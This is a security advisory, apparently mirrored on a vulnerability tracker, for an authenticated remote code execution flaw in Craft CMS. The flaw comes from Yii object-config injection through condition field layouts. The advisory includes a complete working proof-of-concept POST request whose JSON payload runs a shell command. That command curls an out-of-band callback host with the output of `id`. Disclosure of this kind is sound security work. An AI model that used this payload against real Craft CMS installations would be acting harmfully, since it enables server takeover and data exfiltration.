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GHSA-qrgm-p9w5-rrfw
No affected components available
We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.
This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.
The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.
This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.
We were able to reproduce the attack by issuing a POST request to /admin/actions/element-search/search with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same beforeAction() path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:
POST /admin/actions/element-search/search HTTP/2
Host: hostnamehere
Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;
Content-Length: …
User-Agent: Mozilla/5.0
X-Csrf-Token: ...
Accept: application/json
Content-Type: application/json
{
"elementType": "craft\\elements\\Category",
"siteId": 1,
"search": "",
"condition": {
"class": "craft\\elements\\conditions\\ElementCondition",
"elementType": "craft\\elements\\Category",
"fieldLayouts": [
{
"as rce": {
"__class": "yii\\behaviors\\AttributeTypecastBehavior",
"__construct()": [
{
"attributeTypes": {
"typecastBeforeSave": [
"Psy\\Readline\\Hoa\\ConsoleProcessus",
"execute"
]
},
"typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)""
}
]
},
"on *": "self::beforeSave"
}
]
}
}
Resources
https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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